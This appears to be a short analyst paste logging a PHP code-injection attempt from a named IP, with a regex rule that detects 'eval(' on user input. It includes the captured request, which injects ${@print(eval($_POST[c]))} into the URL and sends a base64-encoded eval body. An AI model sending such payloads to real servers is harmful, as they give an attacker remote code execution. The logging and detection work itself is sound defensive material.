103.231.107.245 php shell eval post

PHP Shell post
****
Blog explaining this : http://neonprimetime.blogspot.com/2015/11/php-injection-via-post-walk-thru.html
****
rule to match
php shell command attempt - eval
part="eval", rgxp="[^a-zA-Z\d]eval\s*\(\s*(\'|\"|\$_)"
****
Source IP: 103.231.107.245
****
POST/index.php?s=/abc/abc/abc/${@print(eval($_POST[c]))}   HTTP/1.1

data='c=@eval(base64_decode($_POST[x0]));
x0=ZWNobyAiLT58MTIzfDwtIjs='